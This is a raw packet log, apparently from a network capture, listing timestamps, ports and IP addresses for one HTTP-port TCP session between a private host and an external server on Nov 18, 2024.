Nov 18, 2024 04:41:12.552544117 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552556038 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552567005 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552567005 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552583933 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552592039 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552596092 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552614927 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552632093 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552632093 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552644014 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552666903 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552680969 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552681923 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552696943 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552709103 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552716970 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552727938 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552743912 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552804947 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552815914 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552826881 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552839041 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552839994 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552854061 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552855015 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552867889 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552870035 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552884102 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552901983 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552905083 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552917004 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552934885 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552934885 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552947998 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552959919 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552968979 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552983046 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552999973 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553006887 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553019047 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553030968 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553040028 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553045988 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553057909 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553072929 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553096056 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553127050 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553143978 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553154945 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553165913 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553174019 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553185940 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553200960 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553205013 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553215027 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553225994 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553239107 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553244114 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553256035 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553265095 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553294897 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553335905 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553348064 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553360939 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553376913 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553380013 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553392887 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553402901 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553428888 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553437948 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553447962 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553452969 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553467035 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553476095 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553481102 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553491116 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553494930 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553504944 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553505898 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553529024 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553551912 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553577900 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553590059 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553607941 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553622961 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553622961 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553632975 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553634882 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553653955 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553677082 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553716898 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553728104 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553739071 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553750992 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553756952 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553770065 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553776979 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553781033 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553806067 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553822994 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553896904 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553908110 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.553939104 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.553956985 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.637895107 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.637908936 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638001919 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638135910 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638149023 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638159990 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638180017 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638200045 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638259888 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638272047 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638283014 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638298035 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638305902 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638317108 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638324022 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638328075 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638350964 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638369083 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638566971 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638578892 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638591051 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638602018 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638607979 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638617039 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638618946 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638642073 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638664007 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638664961 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638700008 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638735056 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638746977 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.638773918 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.638798952 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.671494961 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671564102 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.671683073 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671694040 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671704054 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671717882 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671730995 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671730995 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.671744108 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671756983 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.671799898 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.671819925 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671833038 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671844959 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671857119 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671868086 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.671871901 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671884060 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671885014 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.671894073 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671914101 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671926975 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.671952963 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.671977043 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.671994925 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672008038 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672020912 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672045946 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672148943 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672159910 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672169924 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672179937 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672184944 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672194004 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672210932 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672235966 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672305107 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672316074 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672326088 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672337055 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672343016 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672348022 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672360897 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672363043 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672374010 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672384977 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672394037 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672394991 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672425985 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672430038 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672441959 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672450066 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672452927 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672461033 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672487974 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672622919 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672635078 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672646046 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672656059 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672657967 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672668934 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672677994 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672677994 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672708035 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672723055 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672802925 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672822952 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672836065 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672842026 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672847986 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672852039 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672859907 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672872066 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672873020 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672882080 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672904015 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.672966957 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672980070 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.672990084 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673006058 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673010111 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673034906 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673059940 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673124075 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673135042 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673146009 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673156977 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673160076 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673170090 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673177004 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673181057 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673209906 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673213959 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673221111 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673228025 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673233032 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673243999 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673250914 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673264980 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673273087 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673276901 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673288107 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673295975 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673302889 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673327923 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673346996 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673455000 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673466921 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673475981 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673486948 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673497915 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673497915 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673510075 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673526049 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673542023 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673564911 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673597097 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673609018 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673619986 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673631907 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673635960 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673644066 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673656940 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673656940 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673686981 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673702002 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673789024 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673801899 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673826933 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673851013 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673919916 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673932076 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673943043 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673954964 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.673958063 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.673975945 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.674005032 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757035971 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757055998 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757112026 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757141113 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757265091 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757280111 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757294893 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757309914 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757313013 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757324934 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757328033 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757345915 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757371902 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757373095 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757388115 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757410049 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757420063 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757477999 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757494926 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757509947 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757518053 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757527113 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757528067 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757541895 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757550955 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757561922 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757581949 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757581949 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757618904 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757697105 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757710934 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757725000 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757735014 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757741928 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757745981 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757759094 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757766962 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757780075 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757800102 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757842064 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757857084 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757883072 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757884026 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.757906914 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.757920980 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.790749073 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.790788889 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.790805101 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.790808916 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.790837049 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.790859938 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.790914059 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.790930986 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.790940046 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.790962934 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.790967941 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.790997028 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791004896 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791013956 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791033983 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791039944 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791055918 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791057110 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791071892 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791075945 CET	49710	80	192.168.2.6	185.215.113.206
